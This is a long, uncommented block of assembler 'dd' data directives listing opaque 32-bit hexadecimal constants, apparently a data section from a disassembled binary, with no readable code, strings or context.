dd 933C0307h, 5C49579Ch, 0D606DC84h, 2D8F981Ch, 152825B8h
dd 0F681745Bh, 6C91B5B4h, 1FFC487Ch, 7CB20F8Ch, 0E0003F64h
dd 6ACED4CAh, 92003C91h, 9452E911h, 0FE34079Fh, 0C936F10Bh
dd 0F6F47CF6h, 90B90497h, 0AF1254B1h, 64A6B830h, 0C5D412ADh
dd 270E244h, 0B588CD6Ah, 989A5767h, 0F4792451h, 0DA2EA918h
dd 0A24160EFh, 0EE48EC9h, 4A8D0125h, 163A4440h, 0E2B84D70h
dd 0C5699C5Ch, 6015E4E8h, 0C6828A6h, 92B8493h, 854FE348h
dd 0D85770A2h, 6707909h, 0FC11909Dh, 0C0C64880h, 0F205CF13h
dd 0CE41AB05h, 4A63B083h, 0BE8E678h, 21EB7491h, 1C418A14h
dd 4BCE86Ch, 5AA0CE3h, 5EBCF4Eh, 3D1A810Ah, 0F087040h
dd 2F709200h, 55E5B968h, 0D2E0EE3h, 2A21C2D0h, 40C16F6Ah
dd 890B4CD8h, 89C55C27h, 607C5CC8h, 0F1518C8Ah, 700048B0h
dd 3FE7365Bh, 0E33868h, 0D7351C12h, 0E86F06C6h, 78F31E4Ah
dd 44792F27h, 20D8960Fh, 0C476E68Ah, 77F7989h, 9AE86957h
dd 2784427Bh, 0EA5A50D0h, 0C8167C6Bh, 0D8B2AFh, 5C879FE1h
dd 1473E486h, 8801F37Fh, 6FB9EB09h, 50EDE032h, 3BEF43C0h
dd 37ECF3F0h, 7C110B60h, 0A0A1F423h, 0BE95Ch, 9B8CD79h
dd 872E9B3Eh, 1745307Eh, 0F6EC5CF8h, 39A8008Ch, 328FFCA2h
dd 81276D77h, 18E0495Ch, 6EF8CD3Ah, 901746Eh, 938490F0h
dd 6A582002h, 0D3B1DB6Bh
dd 112070A4h, 90B54104h, 3AAF67F0h, 0FC6BF568h, 10F54100h
dd 7B265496h, 48E2B07Fh, 0F78427h, 0CCFFD3C0h, 8E1B764h
dd 4CC76C6h, 5486F61Bh, 0BC975244h, 0EDA6A30Ch, 238C3BEBh
dd 9D60716h, 346C6286h, 0AE27854h, 0F8117794h, 0D0822A5Dh
dd 76C8DC2Ah, 80040121h, 0AE137C7Eh, 1A062022h, 5E0A586h
dd 301A9750h, 84B7D7h, 6506D8D5h, 929FA61Fh, 67744068h
dd 0F8040149h, 6B14C632h, 8139BEEDh, 4ED340BDh, 0DC83119h
dd 0B87F03F7h, 9D931178h, 44C2A4E0h, 0B44CE495h, 2E465EFCh
dd 807F7402h, 10D730D4h, 39FB00h, 5E870637h, 0DE781C0Bh
dd 66281B00h, 0B7673A94h, 911F34E3h, 0F22CB214h, 8A2B30F2h
dd 2A9741Ch, 7B0B5DC9h, 181B7990h, 0FA601E8Dh, 0BC7C9269h
dd 61938298h, 4B585E89h, 0A0F66C62h, 1748C625h, 0BCB6EA78h
dd 0C8E0807Ch, 9DDC818Ah, 21C450E7h, 698FA960h, 0AA464F13h
dd 0F38030F8h, 0C02797E3h, 0F7DDFD0Fh, 5E9CE9ADh, 9588616Ch
dd 0E4842A8Ch, 0E56C1FAEh, 7B8038B5h, 465436D6h, 0ABA814CFh
dd 0B67680CBh, 8C0A02F0h, 0ECC80975h, 944A23B7h, 2F5E90F3h
dd 1623B4h, 0C3215F73h, 8727D405h, 107CA09Eh, 0B61D9097h
dd 8F7084E8h, 1F2CE03Ch, 54A57E00h, 652D99B4h, 0F2301DF4h
dd 98EAE5E2h, 8549D5Fh, 9B6003FBh, 4B74BEF2h, 2FB4DD21h
dd 28008C6Eh, 0CC26EA10h, 3104F590h, 2F8B3698h, 108E8894h
dd 30C0FB88h, 0E62D71Ah, 4DFE39ECh, 0FF21A82Ch, 0B9BFDD07h
dd 0DD024EDh, 899405h, 0BAB8DCBCh, 70C4D096h, 8CB274Bh
dd 0FCB8D44Ch, 3321018Ch, 0CF481967h, 5351F8AFh, 1390C33Eh
dd 58E872C8h, 7D848939h, 0AE070D74h, 2223E03Bh, 3B41CB00h
dd 0FE537Dh, 0FC6FBCE4h, 0E185F7D4h, 0E01024B0h, 539FFB13h
dd 0B7DCA3FEh, 0E689C0E8h, 38900285h, 38A00C90h, 0B97D6871h
dd 1817BB05h, 74E4820Dh, 88009D67h, 36D9BF61h, 2820685Eh
dd 69D489Ah, 9EDB789Bh, 911748D1h, 0A8E1BFA4h, 4E8C8D2Bh
dd 0C02288D8h, 706381BCh, 945A600h, 7C120E4h, 0CD8612A1h
dd 0C890B0C0h, 0C9207098h, 0A27E09E9h, 30F16E87h, 44F70054h
dd 0B2683E42h, 8F0F7A93h, 0BAD99D5h, 80AC3D34h, 65772946h
dd 76128E1Ch, 3D13C57Eh, 0CE9AC02h, 4AA8F283h, 0B21CA671h
dd 0F0815D37h, 7047184h, 0EC036C81h, 80349E6Ah, 0D9A6841Dh
dd 889F1070h, 64B87D18h, 50D044BFh, 30C8E6Eh, 90F65508h
dd 2CC951BFh, 44D6F459h, 6CB2847Ch, 0E470679Fh, 1F4B602Eh
dd 84321FF3h, 0F150B08Dh, 9A1C7287h, 0B9B05007h, 5A0047Fh
dd 0D9866031h, 0F5AF81BEh, 0C8163AEFh, 86C47CB8h, 0C412AF03h
dd 0E659B080h, 94D9828Bh, 0D6692900h, 9C8D15h, 0A3481854h
dd 5BBCE74Ah, 65D32D05h, 10BC36DAh, 0C7825509h, 144F9422h
dd 27005C27h, 0A037C8h, 9750F695h, 13E22287h, 388B8130h
dd 5BD8AF0Ah, 0C810CB6Eh, 0EEE0CF21h, 56EDB02Dh, 2D86E839h
dd 0F8987911h, 3E8603FDh, 242C510Ch, 38B7044Ch, 9D8C0729h
dd 1DF6EEC0h, 0D06A5CC7h, 21C4E880h, 9B901BD5h, 22FB6000h
dd 0BCDDB3C3h, 261375D3h, 0E30B71Ch, 5C05C867h, 27E4F465h
dd 0C5860704h, 8482162Ch, 100BD7B7h, 24DCE8DCh, 3C68E62Eh
dd 8079A614h, 78B32446h, 7E0254A0h, 475B7227h, 6004646Ch
dd 2451A103h, 31DC994h, 0D585A0A8h, 1B84A590h, 79C2F0C9h
dd 0A4928260h, 0A068FB3Bh, 0A8B48974h, 702CFB27h, 9E251718h
dd 8F48D17Dh, 7C988CDh, 592D54F0h, 4F7C6811h, 70281EDh
dd 7C1AC9FDh, 53B052C0h, 0ED0E82A4h, 42B2D701h, 5DD97C88h
dd 56980C00h, 1A4A259Eh, 3AE018B6h, 47E3DCEBh, 4E1C498h
dd 58BEA893h, 1D8A4FCh, 469FAD00h, 75891D69h, 0C1CA0192h
dd 459320D3h, 649B2F94h, 89731881h, 86FCE3A0h, 0C6B5D0BDh
dd 840C29C0h, 727D00D4h, 0F4ABA85Dh, 19EF10CCh, 82C40917h
dd 9B080CACh, 5C5B27F0h, 0FEAAA58h, 2E8F3D1Dh, 11608A00h
dd 0E32FFB9Ch, 8E00592Bh, 51E323F2h, 7AE0DAFAh, 2B731CFFh
dd 0A2974800h, 6C911F81h, 38EB60B3h, 6943F9BCh, 63203413h
dd 0ADDE9805h, 9CF6A4C5h, 0AC9005E0h, 6013D1EEh, 78003B13h
dd 9D4127Fh, 0DC92959Ah, 0F0BC54D8h, 1D1C00D6h, 53166DE6h
dd 379D0B17h, 801E1100h, 0C1F6F53Bh, 7AD10039h, 86A4702Bh
dd 219774A5h, 12DCBFECh, 0FC7B9907h, 4D181F59h, 0C0900100h
dd 0D7C49149h, 5C200BC8h, 0AC59F675h, 7C1FEA10h, 8E0A1284h
dd 0C025C838h, 2DB8053h, 0F0216102h, 0F0CD4B2Fh, 66722510h
dd 18E46065h, 0E9376F60h, 0F52C5200h, 0B766AA5Dh, 0A3364B70h
dd 33F1B2D8h, 0CD2B86E0h, 2A7B802h, 0DEF89766h, 63A80694h
dd 6D5CD0E8h, 49EC104Ch, 0E7C83601h, 50517C20h, 82D7FE9Ch
dd 0C1F9AA03h, 0F1912408h, 0A440FD2Bh, 26311067h, 0A5B88BA4h
dd 102F04E9h, 9A19848Ah, 48E8B590h, 9407CA5h, 180F4450h
dd 0F4B0B700h, 6F433C1Ch, 0CABB0949h, 18D11EA8h, 66B1606h
dd 0C2820331h, 47A2F1B9h, 0CA068C2h, 0ABE0DDCAh, 2892FB02h
dd 0E61CA743h, 0A9860024h, 0FA2D9C79h, 82385456h, 5FDE0076h
dd 0CBFFD59h, 711C6088h, 56E2A67Dh, 80A0675Bh, 0FC23B5F1h
dd 0C5F80599h, 0FC0084ACh, 7FE62F32h, 47112D3h, 9F72E986h
dd 28FCE170h, 88BC93BCh, 81005794h, 6B8C6D9Ah, 85FCC394h
dd 3C9D25h, 2446AC8h, 373A0499h, 0BA050A01h, 28F8E412h
dd 0ADB33C80h, 7900F0DEh, 7BE09D08h, 0FCC939DAh, 9C48B71Ah
dd 18800414h, 12F02787h, 0A5A28C21h, 0A0202F52h, 620CF7Dh
dd 1848FA8Eh, 39043CBAh, 476AC80Dh, 0A56442FAh, 0EC2022E8h
dd 97D39048h, 5BCF843h, 23BA87CBh, 0F938EBB8h, 338C939Bh
dd 7D0858F8h, 0BF9F10A8h, 55C3FB80h, 5F654BFAh, 1270A391h
dd 0D045F954h, 88BD8493h, 40E86A25h, 7F12CD8Ch, 0ACBDF268h
dd 6102EABCh, 0CE02FBC0h, 80A4FC6Bh, 44F2BF5Ah, 6702F1F7h
dd 63B5B11Dh, 40E4E2DDh, 80341058h, 5F02C70Ah, 0F871747Dh
dd 0DE747417h, 0DBE9883Eh, 132D98FCh, 38BBAC78h, 0E995E170h
dd 9D65CC60h, 0CC73C01h, 2A46680h, 8411205Bh, 7F54C923h
dd 80C8DB3Fh, 96ACB5B6h, 0A142177h, 0F7879F8Fh, 0E894900h
dd 3D05C06Fh, 3A93499Ah, 2858A245h, 86959C2Ah, 0F8A1C28Ch
dd 48452D67h, 71E9ACD1h, 192F79B8h, 720AADF4h, 5F995B3Ah
dd 0A7D809F0h, 6B1CD8DAh, 0D296A1B1h, 8280D8E8h, 268AA58Eh
dd 18CD475Eh, 0E064E62Ah, 778F9CDAh, 869E04CEh, 1205B495h
dd 0F4F7D4B2h, 0EAE3504h, 8C27E540h, 0B2269414h, 771900DCh
dd 2F543901h, 89290693h, 8281AF7h, 53198890h, 5F191BA7h
dd 0FEBCFC7Ch, 38040343h, 0BF90B606h, 90821C17h, 0C039DD80h
dd 0CD88102Bh, 0F008602Ch, 33F8BEEAh, 0D4FCB297h, 0CEF6DC30h
dd 0A5566901h, 0DC1E3DE6h, 0A818812Eh, 0DD3A0210h, 247ED41Ah
dd 0BB6F00DCh, 638B4EC8h, 1012F99Ah, 60A114BFh, 16D0CA2Bh
dd 3CF9EA9Eh, 9801FBE8h, 7E757C2Fh, 5DCE5E72h, 0EA89B838h
dd 40D0EF9Fh, 0DA475A60h, 485B2901h, 0F8F15EC2h, 0B6321B10h
dd 539B6800h, 0AD8C8F52h, 4F7B015Bh, 6462B946h, 82D47D81h
dd 1A9385h, 4289D88h, 0E5C7A8C1h, 0BFCFB7Fh, 2760B021h
dd 2443B694h, 0ED321007h, 7C8B1769h, 87D18120h, 821314A5h
dd 0A083C240h, 79CCD91Ch, 9D018FCh, 495C88BBh, 0CC394E2h
dd 0BA83429Ch, 8850741Ah
dd 18280454h, 93DCC20h, 1AD09D86h, 2176D47Ch, 83A803FCh
dd 0C185E62Ch, 0E1A7871Dh, 0C17A52E0h, 6A254CF4h, 39D05427h
dd 207F18Eh, 0D535CC02h, 0E050794Fh, 0DBA49209h, 713891FBh
dd 2346B3Eh, 478492DDh, 87D200FEh, 305408ADh, 9F00EBB4h
dd 21AFA77Ch, 1CA3DC7h, 1E0B1C7Fh, 0DEBAE67Ah, 66601CDEh
dd 0B5116C97h, 0F1919C9Dh, 0A059F482h, 6D74027Dh, 0B89857D9h
dd 899DE2F1h, 73445B18h, 81DEFAF0h, 98663D60h, 2D896392h
dd 9C9FA884h, 0C6802F11h, 0C25FE163h, 91D8187Ah, 2573BAC0h
dd 707A890Eh, 11041D9Fh, 0E9798020h, 93DFBE0h, 0FDEF9C91h
dd 3192DC5Eh, 0A6C834A1h, 91EF25Dh, 189CB770h, 9885541Ch
dd 5080F1CFh, 5421C1E5h, 6225CD72h, 77C786Bh, 59E67D01h
dd 2CD42072h, 0DD7E37CBh, 3F68B7B7h, 0DE08A885h, 6F24F00Bh
dd 5AAD8888h, 0CFACC054h, 76000156h, 9935D511h, 3E5281Bh
dd 8629D81Ch, 0BAA53CC5h, 0EF802070h, 0AFCF1E7Ah, 5D49789h
dd 0E8946078h, 8CF1BC98h, 0C2836712h, 88667029h, 0CF9D38B0h
dd 1FC2B50Bh, 190F1DEh, 4D8375E0h, 0D458ED8Ah, 3C00D4BBh
dd 8CA4A29Ah, 0D56DE3h, 0B8B96378h, 0C1C7567Dh, 468E595h
dd 0FFE4BF70h, 4CB88812h, 1F7D37A2h, 872C1120h, 6B33922Eh
dd 80D100E2h, 0C6D5E5DFh, 9F19703Fh, 2F781EA4h, 0AC58CE2Bh
dd 0CF395EAh, 39C9DE58h, 5102A61Dh, 734E9990h, 0EA14ECE0h
dd 58D8D395h, 0E400DFFCh, 56323B2Dh, 108B7D1Ch, 4AFB358Ch
dd 5F8890E2h, 0C0484DA5h, 94B6E816h, 4B523D40h, 2F9CCADDh
dd 0D8C4DB45h, 0E102EFA9h, 71253238h, 0E6F0E0A5h, 4D48217h
dd 2289804Fh, 1CBC99EAh, 0C54C69EEh, 1DF15667h, 0E40D8058h
dd 0A2B0BF9Ch, 3DE91C00h, 13D7D39Bh, 863A3FE7h, 0C6C50889h
dd 17BF7C51h, 9CBC1B84h, 79F06B1Bh, 28439DF8h, 34933Dh
dd 0DE23F7BAh, 3A163973h, 0A4DC537Ah, 73A7901h, 68E5777Ch
dd 197402CCh, 0D785D067h, 8F10D890h, 7B317025h, 0B8CD80E0h
dd 0D3B7EF34h, 506A2E0Ah, 73808C13h, 93D9DA1Ch, 7A04782Ch
dd 37B8002Dh, 0A388E04Fh, 490009DFh, 60355E71h, 75D38AC2h
dd 6464B53Bh, 0E2BCCDB5h, 58603E20h, 0CB412D0h, 7BF24676h
dd 0B1C6ED12h, 0ADD6BCBCh, 1FC5B8C4h, 405E4B84h, 58B57CF0h
dd 57496C93h, 0D0D22670h, 24AE90B4h, 0C06EEBC4h, 73203B03h
dd 81072AA8h, 711224A2h, 0CECF77F0h, 98E900C2h, 16F31D17h
dd 0FD5B2269h, 0D1C6E48Dh, 0F6920004h, 0B5543FCAh, 0F1A9F1EBh
dd 2B36C5DEh, 20CC0B0h, 80C60752h, 0B7771CBDh, 0D7020064h
dd 70FBDCEAh, 94DED412h, 814F84F2h, 2E180A28h, 789E2499h
dd 908FC903h, 0F0823078h, 0EDC707Eh, 7C892A7Ah, 8845275Ch
dd 647C65A5h, 7ED76019h, 3E6DE073h, 6718BB46h, 0B5882102h
dd 7369E0BCh, 0CAF770F4h, 68F11E2Fh, 165F36Ch, 8AA94A44h
dd 1011797Ch, 712E9Eh, 4DD43F93h, 9B97D46h, 0D245B60Bh
dd 0C0787699h, 7CED489Eh, 4309197h, 0CB08282Fh, 2D85E388h
dd 0C401D895h, 38F48772h, 0AE200B28h, 0DB58684Fh, 7E82005Ah
dd 0C27FE0A2h, 0EB008B52h, 6456B4CEh, 9F4D337h, 0A6E3B762h
dd 90DF9092h, 6E6F218h, 4335CE2Ch, 9706464Dh, 489B5FDEh
dd 32707868h, 9A78244Ch, 0BF7268A1h, 0B857D264h, 2B96E8E8h
dd 2184C1Ch, 39D08F70h, 0BEBC5612h, 0A8208712h, 0A0CA4A60h
dd 301F9771h, 55802F11h, 5A871C21h, 30848B09h, 0A5A07314h
dd 5B51445Bh, 33FCF7EDh, 0A586086Dh, 0CC2F2304h, 773C0560h
dd 0ECDE4B2Ah, 8CF3EC50h, 79C1C62Dh, 4C4D4978h, 0F3D0EEC3h
dd 225EC8ABh, 8493174Dh, 0E5FCA09Bh, 50E08503h, 9D078E66h
dd 5E9D960Bh, 0B55DC9A4h, 0B8A70094h, 2CCE84B5h, 809D8C09h
dd 6268C70Dh, 881B0402h, 17735BCh, 0D9F5687Dh, 6AA38492h
dd 56939880h, 8F29012Ah, 5B7267CDh, 3C8206Fh, 6451842Fh
dd 548A3C90h, 1308E92Ah, 0AD09658Ch, 19831638h, 48E820B9h
dd 13E19C00h, 24B1953h, 7610A050h, 256F0EB4h, 5260997Dh
dd 985C7E10h, 3E1C37EAh, 958294B3h, 74BF80ABh, 4467444h
dd 1EEFC70h, 600A8F43h, 30719525h, 0B408DB8h, 0BDDFEC91h
dd 2000F4ABh, 745632F6h, 495A35EEh, 404240E2h, 0C03FDE1h
dd 51B82453h, 6D680174h, 2534C73Ch, 86E2B7Ch, 2081417h
dd 0D79C497Fh, 46F4A05Ch, 0BDC51F21h, 6CE16004h, 527030AFh
dd 535A6688h, 9C8034DBh, 46A17C1Dh, 0E4BAF700h, 2E9929C0h
dd 69401989h, 0D2D536F9h, 0F6193C40h, 140E8626h, 0C0586DA5h
dd 0F1FC5751h, 0ED928200h, 913335DCh, 737209Ch, 0B795E97Fh
dd 0FCB000BCh, 4835B144h, 0E65539h, 0E84CF8A3h, 606AB7A7h
dd 5AFEB90Ch, 4A0327BCh, 0F598FBA0h, 0E320EF08h, 599766A7h
dd 0F05B54D8h, 0B8376B50h, 41FC3815h, 68640EFFh, 0A53D866Fh
dd 0A79B0FBh, 128E2EC4h, 0ADF0F56Ch, 42770F9Ch, 6AEFE002h
dd 12DBE380h, 0E33B1F6Fh, 0C586097Ch, 6050D00Ch, 0B754E877h
dd 660459D3h, 0A7DAF03Fh, 80BC9BABh, 119AA073h, 3DB30227h
dd 8F4A4DEh, 54145709h, 4656049Eh, 0BF510023h, 94E91CAFh
dd 0F2C34A6Dh, 1CE99250h, 16EA30A8h, 5E13ABEEh, 0B500492Eh
dd 29481AB3h, 0D49D169Ah, 0BFD44220h, 0E6552330h, 0B4CDBD4Ch
dd 0EBB9C043h, 8C2A866h, 0F859275Ch, 0A774A872h, 64D4E79Dh
dd 5B616116h, 15B0D86Bh, 30FC8195h, 699E115Ch, 0F46A12C8h
dd 5003ABA4h, 45DDFB91h, 8E46C07Ah, 0CB1D5CD5h, 0A1527D05h
dd 0E874C188h, 89A3013Ch, 40785870h, 0F6EADB1Bh, 7A9D8025h
dd 0F0942270h, 79958CF8h, 0BC659210h, 84337C40h, 0F48619FDh
dd 7B84C8ABh, 72624E07h, 28A58543h, 5E7E55C1h, 0F434E0EAh
dd 2E128109h, 69C5C04h, 0D0537200h, 0D6B84C4h, 0E3EC49F9h
dd 9C8FCF4h, 12757C2Ah, 599720FAh, 0D353E84h, 0D45CAE8Ch
dd 59F4AD09h, 2C782DFCh, 1FFE3F20h, 1817AF38h, 0A8766110h
dd 0F0E27D4Fh, 59EA0F18h, 0D49AD18Ch, 7A727E09h, 889571Fh
dd 17B89C60h, 23FCCE02h, 88489B20h, 0C82DFF90h, 107E7A78h
dd 21A30BDh, 0CD85E465h, 0F684E880h, 4A0A681h, 748AC806h
dd 25ECB931h, 65687E72h, 7394EC15h, 0F761F260h, 1B92EEDh
dd 0D62FB6CFh, 6B6AE8E2h, 4073E0D8h, 0DF125AF6h, 12BF8502h
dd 846EEBECh, 1DE5C700h, 0C947A762h, 3CA23F26h, 0B8BAF90Dh
dd 54D2B2A7h, 94907095h, 1E467458h, 9646DE00h, 29A007B6h
dd 8A6D7C02h, 5DF07758h, 0C3810410h, 9B636A12h, 86EAEh
dd 6678E43Fh, 3673D0Fh, 7C315B44h, 0B802F597h, 63E65A0Ch
dd 0D64CD4EAh, 0F772CA02h, 448FF6FBh, 0A20989Ch, 817C8B40h
dd 27338994h, 377Fh, 0FE63DFC5h, 8B1C7E73h, 79E7660Eh
dd 39330CB8h, 4ED3D10h, 0ABB5FCA9h, 8908786Ah, 9480F8F1h
dd 4F79063Bh, 0C3820EC8h, 5500BF0Dh, 2D93CD7Eh, 0EA0424h
dd 0F34100DCh, 37BEE301h, 0C7027ECAh, 0E0C505CCh, 0C8E85533h
dd 1A17D0A2h, 8E9870Fh, 0C828DA4Ah, 6128C716h, 2E4F0286h
dd 0FA0ABC47h, 0F7016600h, 9CCC394Dh, 6D804A80h, 55682E58h
dd 0FECA5005h, 35BA35DEh, 237C3A1Ch, 0ABA90014h, 0B7700C52h
dd 0CC1F8026h, 0EB386525h, 7945704Dh, 1A5C08FEh, 2CBC9B12h
dd 1FD7D3A2h, 401086Ch, 299F3860h, 5E501DDh, 844B2EB7h
dd 58003ACBh, 8E2759D8h, 0BFFD267Eh, 188F6158h, 7B90A755h
dd 88C07020h, 24FBD098h
dd 0A05F7C04h, 0F30004F2h, 23F953D8h, 0D94AEA62h, 0B4E30F3h
dd 84F03B58h, 0E15C8812h, 9C718A0h, 318A1CD4h, 4051485Eh
dd 520C3184h, 0F4CAABE0h, 0F74B763Ah, 0A1B0A7B8h, 4B994231h
dd 0EACB25Dh, 20BA569Bh, 8D229E2Eh, 34E90207h, 88C702E0h
dd 990EE879h, 272D425Ah, 0CC89D71Ah, 1DDC9C7Ch, 9B83F595h
dd 0FBF1811Eh, 475CE42Ch, 1459E600h, 0DF7ED8C1h, 0D4E0B57Ah
dd 0A825B8CDh, 0CB0CC8C7h, 14C69F02h, 8558CC95h, 6018C48Ch
dd 4630E90h, 3588D4C1h, 74C480A0h, 0EF0B3BF9h, 0A9F4C585h
dd 0A818599Ch, 0BF842DA4h, 6ED8A081h, 0B7908968h, 0DC74F4A8h
dd 0B86DA02h, 82B76A15h, 0A1359BCh, 34BF0EBCh, 5A34CDD6h
dd 0F63DC2D0h, 804488h, 0EC4FD77Fh, 9A382B91h, 0F42890B5h
dd 63810093h, 367DFCE4h, 0A309D2F7h, 5EA5AD84h, 73EF0754h
dd 0B777E94Ch, 62980020h, 0B0575659h, 0F6F8A07Fh, 98D0895Bh
dd 2CBEB80h, 707D9671h, 8CFC6897h, 0BACA584h, 904A312h
dd 0FC68C586h, 87700B58h, 0F3F984D9h, 0A2D3518h, 816C7995h
dd 6B48B6C6h, 64846A73h, 0BBB83CA9h, 127C7800h, 6728645Eh
dd 3CDD5C55h, 0F86C0974h, 0BC5A8772h, 42992112h, 0E7DE5202h
dd 489FFF1Bh, 9C1911h, 0E23FB14Bh, 0D1973E91h, 17B0AC68h
dd 0D14A03Dh, 0C294E695h, 954A5E80h, 5F64BA57h, 98605CEDh
dd 5062C4A2h, 4484D445h, 68C20620h, 4C809A52h, 2CC295E0h
dd 1B10747Eh, 258C7126h, 9D3E420h, 341EF91h, 2EC21828h
dd 88E07D63h, 0EE951BC5h, 0AA820F0Ch, 3A00290Ah, 93D41970h
dd 0BCCD0E00h, 8689BC0h, 759AF4E3h, 0CC7E502Bh, 740B1780h
dd 0FC2CFC87h, 66008CF6h, 62862C5h, 120C9ABAh, 0B1C95433h
dd 9C306F30h, 0F240EE0Fh, 467F0141h, 0B60722B9h, 0E898C87Eh
dd 0C0E25C4Fh, 99BFE007h, 63A301C7h, 0EC826BDDh, 0B4B555EAh
dd 0A2E5482h, 90E0449Bh, 0F1B85A60h, 0EC10790Ch, 209305B9h
dd 0BC6FA491h, 9BC3AB4h, 71C62CF1h, 2DA6609Ch, 0B252924h
dd 40A05E0Dh, 0D09F841Ah, 5E8040C9h, 0A310E51Ch, 30F8E214h
dd 8E09C1CBh, 56DB1669h, 8EF40CCh, 50B094E1h, 5E522E05h
dd 343B376Bh, 100FB23h, 72056E6h, 4583128Eh, 2420BB77h
dd 9C9618h, 0F4B4F913h, 0E4DA6775h, 33FAF161h, 15D4FB51h
dd 0AC7995A5h, 39C526D7h, 4FB0F04Eh, 69CA1BFh, 0F730FACFh
dd 16251475h, 0DD8035h, 0F5540D66h, 12002127h, 7CA06CB9h
dd 7D36D29Ah, 0B1950B6Ah, 4482639Ch, 14D8E974h, 0A18C795Ch
dd 9C74026Ch, 855512E5h, 90182CEAh, 3A1F1B40h, 740D2893h
dd 7F51F331h, 9EFA034h, 96570C14h, 50539740h, 11C1550h
dd 3073FE37h, 2EA38491h, 5CDCACC2h, 88B76B6Ch, 0A032B10Eh
dd 5E391EFDh, 349D3188h, 0C0062EB9h, 37CE818h, 9C98C52Ch
dd 0D4F8B792h, 0AE82409Eh, 70761660h, 91EA7728h, 68E6284Fh
dd 0AEF425E0h, 8B3C4E2Fh, 21687EFCh, 32884FACh, 2C8C5A49h
dd 0C1B8940Ah, 2B87139Eh, 9B3ADC89h, 301CCBE0h, 207C3078h
dd 9A95F009h, 0F46D777Ch, 55FA3FC0h, 1DA0B14h, 54829352h
dd 9E22121Ch, 8677D2Bh, 6003C8CFh, 2F2EBE72h, 0B4F66E09h
dd 0BE44CE97h, 161DD4CCh, 0CF422A7Bh, 57625281h, 0A07C2C8Bh
dd 0FE1C00DCh, 3A2EDAFBh, 6D169D6Ch, 50373F93h, 0FBB61C80h
dd 8A1F05C7h, 0A9382F8Bh, 4F01B814h, 44E2C6h, 0F13C119Fh
dd 13B6993h, 6CD81A15h, 6F900A77h, 95B520CCh, 33E664E4h
dd 574ABD6Bh, 0EA866685h, 9BEA1FD5h, 8EB780B4h, 6AA5D8h
dd 0AAD96CBCh, 153DB501h, 0B5905D9Fh, 0FF810F2Dh, 7EAA98F8h
dd 2FF57717h, 61543995h, 2C4200F6h, 0A8F3E4BFh, 0F8648B96h
dd 0C9401044h, 0F9395BE0h, 9C71011Eh, 8C7FF307h, 3E828E71h
dd 18DA27Eh, 88C57229h, 9F409AA5h, 0F6771B95h, 5B5738B7h
dd 0FF965F93h, 0E10EA86Eh, 18C09874h, 0B8E0F76h, 20EA1FD7h
dd 9B94861h, 9DEB8C15h, 6EAB9690h, 78770E0Bh, 8B1D00A1h
dd 0A80AEDBDh, 57F595BCh, 0B0B0B520h, 8C01565Dh, 9D2BFFCEh
dd 4E860C45h, 0D21BD83h, 44A7D89Fh, 0F9FB8915h, 0BB96002Bh
dd 393303F1h, 0FB8B5021h, 0E38166C8h, 7B7B4C29h, 0AD9D0B02h
dd 0B15B8210h, 31DB5502h, 76A778h, 2AA04AA2h, 6658EFB2h
dd 0B4D98B29h, 0B9B55D4Bh, 0A7726300h, 71BF17C4h, 261427A4h
dd 0B593E477h, 64008279h, 2482AC96h, 0FF850042h, 80D8033Fh
dd 0FB05393Dh, 0B3C05DA2h, 21B1AA04h, 8AB5B0Ah, 21009F5h
dd 0FC060B22h, 2D01858Bh, 0C6F5331Ch, 4DD1C716h, 29D6EB24h
dd 18A9BCA8h, 383AE980h, 0F9DAFFF3h, 60F0B9AFh, 0CF59053Dh
dd 0C68589B5h, 8B24585Ch, 0B91C34C1h, 0D2335725h, 1FC91810h
dd 4D073851h, 9A11AA60h, 0C7B0505Eh, 677AB7DAh, 90F9B5h
dd 58D2B144h, 97174C26h, 6FFF6AD4h, 0D4A9007Bh, 45D30AEFh
dd 0B799185Dh, 9D8B4A7Fh, 395BC8D0h, 918BBC5h, 7C022BBh
dd 54683ECh, 29F560C6h, 0BA666090h, 5769BB17h, 5BB730BAh
dd 904C5061h, 109110AEh, 95296661h, 40BC230Dh, 2248819Eh
dd 1A71856Fh, 0FFDA9627h, 0FC458D9Ch, 9BAE17A8h, 69BC7CFh
dd 316192D0h, 0A5DC0A94h, 67AFD1FFh, 4ECAE060h, 812752DEh
dd 0AC4E7D26h, 572B7E69h, 0F660A56Dh, 617B6Ch, 6AD7F380h
dd 0BF0F5002h, 905BFB04h, 0DA4013E9h, 6B20F3DCh, 91706EF2h
dd 0B745AD00h, 0F7B0370Bh, 0F4CD16F5h, 6F20BA50h, 75E63Ch
dd 0E51BF325h, 904B2013h, 70D4FBB7h, 0BF388C93h, 27AA96FDh
dd 0E3804660h, 69E912D4h, 58AAB0Dh, 0A316CF24h, 2B2E788Fh
dd 66880802h, 558D43BFh, 4358A4F3h, 630B2C73h, 8D496024h
dd 0F8244167h, 230769ADh, 77FB1796h, 0F9092537h, 219202ABh
dd 0EB90051Ah, 35D8A689h, 29413DC6h, 1E310B00h, 0AE9AC166h
dd 50C09112h, 90FAEB04h, 0AC95E9FAh, 88FB48BBh, 0FB0C4E76h
dd 0B67A1C9Dh, 0A03FE32Ch, 0B5C67673h, 80009373h, 0B57EAEBh
dd 239526BDh, 1057A5BFh, 249D3319h, 0BEE10349h, 0B828ADDBh
dd 0C0200262h, 5CD8DF1Ch, 861AC82h, 0E15989E4h, 9FFD5A72h
dd 5E01B4B8h, 0BB66E02Ah, 6520EA84h, 0E92B4019h, 0B02DDF64h
dd 0CD9D47C0h, 70E68018h, 0F9B70F05h, 0C8AF71E4h, 6400DB21h
dd 0BA06E25Dh, 0CD0E30h, 0C381B7FFh, 6BC942EAh, 0F4FD5F5Fh
dd 7A35B136h, 17541858h, 24FFC8B6h, 800FC0D5h, 0F8BF68C3h
dd 8C0F188Fh, 28BF1D05h, 23B8BE17h, 0BD7942FFh, 0C8202041h
dd 0B2E58D31h, 92D1FC69h, 8E59B52Ah, 29BD3106h, 0D050B721h
dd 0CB109D20h, 8757C32Ah, 0AFAC1BAh, 0E90DDF13h, 0C5200607h
dd 80B57095h, 0D0DFD03Bh, 0FD8A0AA2h, 2F6342E9h, 814055D6h
dd 211BBACBh, 841F6113h, 0B48964E2h, 0C5BD4523h, 0A583F245h
dd 66FE2106h, 32F43446h, 0F510284h, 0A8980486h, 0E96E6EB4h
dd 0B58D0011h, 0CE17F9FFh, 0BA76BFCCh, 0D742A21Dh, 0FF09E893h
dd 8A1CDC66h, 8D7B9FEh, 24C57ABFh, 0B3B1ADEh, 1841AB27h
dd 23EED1Eh, 4BD80435h, 22430DBFh, 0FC860BB5h, 34EDF982h
